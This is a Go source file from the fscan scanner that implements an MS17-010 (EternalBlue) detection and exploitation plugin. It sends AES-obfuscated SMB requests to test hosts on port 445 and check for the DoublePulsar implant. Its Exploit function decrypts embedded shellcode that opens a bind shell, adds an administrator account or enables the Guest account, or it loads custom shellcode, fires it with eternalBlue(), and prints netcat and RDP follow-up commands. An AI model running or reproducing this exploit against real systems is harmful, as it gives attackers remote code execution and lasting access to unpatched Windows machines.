mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-21 19:00:42 +08:00
487 lines
20 KiB
Go
487 lines
20 KiB
Go
//go:build plugin_ms17010 || !plugin_selective
|
|
|
|
package services
|
|
|
|
import (
|
|
"context"
|
|
"crypto/aes"
|
|
"crypto/cipher"
|
|
"encoding/base64"
|
|
"encoding/binary"
|
|
"encoding/hex"
|
|
"fmt"
|
|
"net"
|
|
"os"
|
|
"strings"
|
|
"time"
|
|
|
|
"github.com/shadow1ng/fscan/common"
|
|
"github.com/shadow1ng/fscan/common/i18n"
|
|
"github.com/shadow1ng/fscan/plugins"
|
|
)
|
|
|
|
// MS17010Plugin MS17-010漏洞检测和利用插件 - 保持完整的原始利用功能
|
|
type MS17010Plugin struct {
|
|
plugins.BasePlugin
|
|
}
|
|
|
|
// NewMS17010Plugin 创建MS17010插件
|
|
func NewMS17010Plugin() *MS17010Plugin {
|
|
return &MS17010Plugin{
|
|
BasePlugin: plugins.NewBasePlugin("ms17010"),
|
|
}
|
|
}
|
|
|
|
// GetPorts 实现Plugin接口
|
|
|
|
// Scan 执行MS17-010扫描
|
|
func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
|
target := info.Target()
|
|
|
|
// 检查端口
|
|
if info.Port != 445 {
|
|
return &ScanResult{
|
|
Success: false,
|
|
Service: "ms17010",
|
|
Error: fmt.Errorf("%s", i18n.GetText("ms17010_port_only")),
|
|
}
|
|
}
|
|
|
|
// 执行MS17010漏洞检测
|
|
vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
|
|
if err != nil {
|
|
return &ScanResult{
|
|
Success: false,
|
|
Service: "ms17010",
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
if vulnerable {
|
|
msg := fmt.Sprintf("MS17-010 %s", target)
|
|
if osVersion != "" {
|
|
msg += fmt.Sprintf(" [%s]", osVersion)
|
|
}
|
|
common.LogVuln(msg)
|
|
if hasBackdoor {
|
|
common.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target))
|
|
}
|
|
|
|
return &ScanResult{
|
|
Success: true,
|
|
Type: plugins.ResultTypeVuln,
|
|
Service: "ms17010",
|
|
Banner: i18n.Tr("ms17010_vuln_banner", osVersion),
|
|
}
|
|
}
|
|
|
|
return &ScanResult{
|
|
Success: false,
|
|
Service: "ms17010",
|
|
Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")),
|
|
}
|
|
}
|
|
|
|
// Exploit 执行MS17-010漏洞利用
|
|
func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult {
|
|
config := session.Config
|
|
target := info.Target()
|
|
common.LogSuccess(i18n.Tr("ms17010_start", target))
|
|
|
|
var output strings.Builder
|
|
output.WriteString(i18n.Tr("ms17010_exploit_header", target) + "\n")
|
|
|
|
// 首先确认漏洞存在
|
|
vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
|
|
if err != nil {
|
|
output.WriteString("\n" + i18n.Tr("ms17010_exploit_check_failed", err) + "\n")
|
|
return &ExploitResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
if !vulnerable {
|
|
output.WriteString("\n" + i18n.GetText("ms17010_exploit_not_vulnerable") + "\n")
|
|
return &ExploitResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")),
|
|
}
|
|
}
|
|
|
|
output.WriteString("\n" + i18n.GetText("ms17010_exploit_confirmed") + "\n")
|
|
if osVersion != "" {
|
|
output.WriteString(i18n.Tr("ms17010_exploit_os", osVersion) + "\n")
|
|
}
|
|
|
|
if hasBackdoor {
|
|
output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_found") + "\n")
|
|
} else {
|
|
output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_not_found") + "\n")
|
|
}
|
|
|
|
// 如果有Shellcode配置，执行实际利用
|
|
if config.Shellcode != "" {
|
|
output.WriteString("\n" + i18n.Tr("ms17010_exploit_mode", config.Shellcode) + "\n")
|
|
output.WriteString(i18n.GetText("ms17010_exploit_start_attack") + "\n")
|
|
|
|
// 执行实际的MS17010利用
|
|
err = p.executeMS17010Exploit(info, session)
|
|
if err != nil {
|
|
output.WriteString(i18n.Tr("ms17010_exploit_failed", err) + "\n")
|
|
return &ExploitResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: err,
|
|
}
|
|
}
|
|
output.WriteString(i18n.GetText("ms17010_exploit_success") + "\n")
|
|
|
|
// 根据不同类型提供后续操作建议
|
|
switch config.Shellcode {
|
|
case "bind":
|
|
output.WriteString("\n" + i18n.GetText("ms17010_exploit_bind_hint") + "\n")
|
|
output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host))
|
|
case "add":
|
|
output.WriteString("\n" + i18n.GetText("ms17010_exploit_add_hint") + "\n")
|
|
output.WriteString(i18n.GetText("ms17010_exploit_add_credential") + "\n")
|
|
output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host))
|
|
case "guest":
|
|
output.WriteString("\n" + i18n.GetText("ms17010_exploit_guest_hint") + "\n")
|
|
}
|
|
} else {
|
|
output.WriteString("\n" + i18n.GetText("ms17010_exploit_detect_only") + "\n")
|
|
output.WriteString(i18n.GetText("ms17010_exploit_shellcode_hint") + "\n")
|
|
output.WriteString(i18n.GetText("ms17010_exploit_supported_modes") + "\n")
|
|
}
|
|
|
|
common.LogSuccess(i18n.Tr("ms17010_complete", target))
|
|
|
|
return &ExploitResult{
|
|
Success: true,
|
|
Output: output.String(),
|
|
}
|
|
}
|
|
|
|
// 以下是完整的原始MS17010检测和利用代码，保持不变
|
|
|
|
// AES解密函数 (从legacy/Base.go复制)
|
|
func aesDecrypt(crypted string, key string) (string, error) {
|
|
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
|
if err != nil {
|
|
return "", fmt.Errorf("%s: %w", i18n.GetText("ms17010_base64_decode_failed"), err)
|
|
}
|
|
|
|
keyBytes := []byte(key)
|
|
block, err := aes.NewCipher(keyBytes)
|
|
if err != nil {
|
|
return "", fmt.Errorf("%s: %w", i18n.GetText("ms17010_aes_cipher_failed"), err)
|
|
}
|
|
|
|
if len(cryptedBytes) < aes.BlockSize {
|
|
return "", fmt.Errorf("%s", i18n.GetText("ms17010_ciphertext_too_short"))
|
|
}
|
|
|
|
mode := cipher.NewCBCDecrypter(block, keyBytes[:aes.BlockSize])
|
|
mode.CryptBlocks(cryptedBytes, cryptedBytes)
|
|
|
|
// 移除PKCS7填充
|
|
padding := int(cryptedBytes[len(cryptedBytes)-1])
|
|
if padding > len(cryptedBytes) || padding > aes.BlockSize {
|
|
return "", fmt.Errorf("%s", i18n.GetText("ms17010_invalid_padding"))
|
|
}
|
|
|
|
for i := len(cryptedBytes) - padding; i < len(cryptedBytes); i++ {
|
|
if cryptedBytes[i] != byte(padding) {
|
|
return "", fmt.Errorf("%s", i18n.GetText("ms17010_padding_check_failed"))
|
|
}
|
|
}
|
|
|
|
return string(cryptedBytes[:len(cryptedBytes)-padding]), nil
|
|
}
|
|
|
|
// 默认AES解密密钥 (从legacy代码复制)
|
|
var defaultKey = "0123456789abcdef"
|
|
|
|
// SMB协议加密的请求数据 (从原始MS17010.go复制)
|
|
var (
|
|
negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
|
sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
|
treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
|
transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
|
trans2SessionSetupRequestEnc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
|
|
|
|
// SMB协议解密后的请求数据
|
|
negotiateProtocolRequest []byte
|
|
sessionSetupRequest []byte
|
|
treeConnectRequest []byte
|
|
transNamedPipeRequest []byte
|
|
trans2SessionSetupRequest []byte
|
|
)
|
|
|
|
// 初始化解密SMB协议数据
|
|
func init() {
|
|
var err error
|
|
|
|
// 解密协议请求
|
|
decrypted, err := aesDecrypt(negotiateProtocolRequestEnc, defaultKey)
|
|
if err != nil {
|
|
common.LogError(i18n.Tr("ms17010_protocol_decrypt_error", err))
|
|
return
|
|
}
|
|
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
|
if err != nil {
|
|
common.LogError(i18n.Tr("ms17010_protocol_decode_error", err))
|
|
return
|
|
}
|
|
|
|
// 解密会话请求
|
|
decrypted, err = aesDecrypt(sessionSetupRequestEnc, defaultKey)
|
|
if err != nil {
|
|
common.LogError(i18n.Tr("ms17010_session_decrypt_error", err))
|
|
return
|
|
}
|
|
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
|
if err != nil {
|
|
common.LogError(i18n.Tr("ms17010_session_decode_error", err))
|
|
return
|
|
}
|
|
|
|
// 解密连接请求
|
|
decrypted, err = aesDecrypt(treeConnectRequestEnc, defaultKey)
|
|
if err != nil {
|
|
common.LogError(i18n.Tr("ms17010_connect_decrypt_error", err))
|
|
return
|
|
}
|
|
treeConnectRequest, err = hex.DecodeString(decrypted)
|
|
if err != nil {
|
|
common.LogError(i18n.Tr("ms17010_connect_decode_error", err))
|
|
return
|
|
}
|
|
|
|
// 解密管道请求
|
|
decrypted, err = aesDecrypt(transNamedPipeRequestEnc, defaultKey)
|
|
if err != nil {
|
|
common.LogError(i18n.Tr("ms17010_pipe_decrypt_error", err))
|
|
return
|
|
}
|
|
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
|
if err != nil {
|
|
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
|
|
return
|
|
}
|
|
|
|
decrypted, err = aesDecrypt(trans2SessionSetupRequestEnc, defaultKey)
|
|
if err != nil {
|
|
common.LogError(i18n.Tr("ms17010_pipe_decrypt_error", err))
|
|
return
|
|
}
|
|
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
|
if err != nil {
|
|
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
|
|
return
|
|
}
|
|
}
|
|
|
|
// checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配)
|
|
func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, bool, error) {
|
|
return p.checkMS17010VulnerabilityAt(ctx, net.JoinHostPort(ip, "445"), session)
|
|
}
|
|
|
|
func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) {
|
|
conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout)
|
|
if err != nil {
|
|
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_connection_error"), err)
|
|
}
|
|
defer func() { _ = conn.Close() }()
|
|
|
|
if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil {
|
|
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_set_timeout_error"), err)
|
|
}
|
|
|
|
// SMB协议协商
|
|
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
|
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_protocol_error"), err)
|
|
}
|
|
|
|
reply := make([]byte, 1024)
|
|
n, readErr := conn.Read(reply)
|
|
if readErr != nil || n < 36 {
|
|
// 连接被关闭或响应不完整，通常表示目标不支持SMBv1
|
|
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_smbv1_unsupported"))
|
|
}
|
|
|
|
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
|
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_smbv1_rejected"))
|
|
}
|
|
|
|
// 建立会话
|
|
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
|
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_session_error"), err)
|
|
}
|
|
|
|
n, readErr = conn.Read(reply)
|
|
if readErr != nil || n < 36 {
|
|
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_session_failed"))
|
|
}
|
|
|
|
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
|
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_session_rejected"))
|
|
}
|
|
|
|
// 提取系统信息
|
|
var osVersion string
|
|
sessionSetupResponse := reply[36:n]
|
|
if len(sessionSetupResponse) > 0 && sessionSetupResponse[0] != 0 && len(sessionSetupResponse) >= 10 {
|
|
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
|
if n == int(byteCount)+45 {
|
|
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
|
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
|
osVersion = string(sessionSetupResponse[10:i])
|
|
osVersion = strings.ReplaceAll(osVersion, string([]byte{0x00}), "")
|
|
break
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// 树连接请求
|
|
userID := reply[32:34]
|
|
treeConnect := append([]byte(nil), treeConnectRequest...)
|
|
treeConnect[32] = userID[0]
|
|
treeConnect[33] = userID[1]
|
|
|
|
if _, err = conn.Write(treeConnect); err != nil {
|
|
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_tree_error"), err)
|
|
}
|
|
|
|
n, readErr = conn.Read(reply)
|
|
if readErr != nil || n < 36 {
|
|
if readErr != nil {
|
|
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_read_tree_error"), readErr)
|
|
}
|
|
return false, osVersion, false, fmt.Errorf("%s", i18n.GetText("ms17010_tree_response_incomplete"))
|
|
}
|
|
|
|
// 命名管道请求
|
|
treeID := reply[28:30]
|
|
transNamedPipe := append([]byte(nil), transNamedPipeRequest...)
|
|
transNamedPipe[28] = treeID[0]
|
|
transNamedPipe[29] = treeID[1]
|
|
transNamedPipe[32] = userID[0]
|
|
transNamedPipe[33] = userID[1]
|
|
|
|
if _, err = conn.Write(transNamedPipe); err != nil {
|
|
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_pipe_error"), err)
|
|
}
|
|
|
|
n, readErr = conn.Read(reply)
|
|
if readErr != nil || n < 36 {
|
|
if readErr != nil {
|
|
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_read_pipe_error"), readErr)
|
|
}
|
|
return false, osVersion, false, fmt.Errorf("%s", i18n.GetText("ms17010_pipe_response_incomplete"))
|
|
}
|
|
|
|
// 漏洞检测 - 关键检查点
|
|
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
|
trans2SessionSetup := append([]byte(nil), trans2SessionSetupRequest...)
|
|
trans2SessionSetup[28] = treeID[0]
|
|
trans2SessionSetup[29] = treeID[1]
|
|
trans2SessionSetup[32] = userID[0]
|
|
trans2SessionSetup[33] = userID[1]
|
|
|
|
if _, err = conn.Write(trans2SessionSetup); err != nil {
|
|
return true, osVersion, false, nil
|
|
}
|
|
n, readErr = conn.Read(reply)
|
|
if readErr != nil || n < 36 {
|
|
return true, osVersion, false, nil
|
|
}
|
|
|
|
return true, osVersion, reply[34] == 0x51, nil
|
|
}
|
|
|
|
return false, osVersion, false, nil
|
|
}
|
|
|
|
// executeMS17010Exploit 执行MS17010漏洞利用
|
|
func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *common.ScanSession) error {
|
|
config := session.Config
|
|
var sc string
|
|
|
|
// 根据不同类型选择shellcode (从MS17010-Exp.go复制)
|
|
switch config.Shellcode {
|
|
case "bind":
|
|
// Bind Shell shellcode (加密)
|
|
scEnc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
|
|
var err error
|
|
sc, err = aesDecrypt(scEnc, defaultKey)
|
|
if err != nil {
|
|
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_bind_shellcode_decrypt_failed"), err)
|
|
}
|
|
|
|
case "add":
|
|
// 添加管理员账户 shellcode (加密)
|
|
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8"
|
|
var err error
|
|
sc, err = aesDecrypt(scEnc, defaultKey)
|
|
if err != nil {
|
|
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_add_shellcode_decrypt_failed"), err)
|
|
}
|
|
|
|
case "guest":
|
|
// 激活Guest账户 shellcode (加密)
|
|
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
|
|
var err error
|
|
sc, err = aesDecrypt(scEnc, defaultKey)
|
|
if err != nil {
|
|
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err)
|
|
}
|
|
|
|
case "cs":
|
|
sc = ""
|
|
|
|
default:
|
|
// 从文件读取或直接使用提供的shellcode
|
|
shellcode := config.Shellcode
|
|
if strings.Contains(shellcode, "file:") {
|
|
read, err := os.ReadFile(shellcode[5:])
|
|
if err != nil {
|
|
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_file_read_failed"), err)
|
|
}
|
|
sc = fmt.Sprintf("%x", read)
|
|
} else {
|
|
sc = shellcode
|
|
}
|
|
}
|
|
|
|
// 验证shellcode有效性
|
|
if len(sc) < 20 {
|
|
return fmt.Errorf("%s", i18n.GetText("ms17010_invalid_shellcode"))
|
|
}
|
|
|
|
// 解码shellcode
|
|
scBytes, err := hex.DecodeString(sc)
|
|
if err != nil {
|
|
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_decode_failed"), err)
|
|
}
|
|
|
|
if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil {
|
|
return fmt.Errorf("MS17-010 exp failed: %w", err)
|
|
}
|
|
|
|
common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes)))
|
|
return nil
|
|
}
|
|
|
|
// init 自动注册插件
|
|
func init() {
|
|
// 使用高效注册方式：直接传递端口信息，避免实例创建
|
|
RegisterPluginWithPorts("ms17010", func() Plugin {
|
|
return NewMS17010Plugin()
|
|
}, []int{445})
|
|
}
|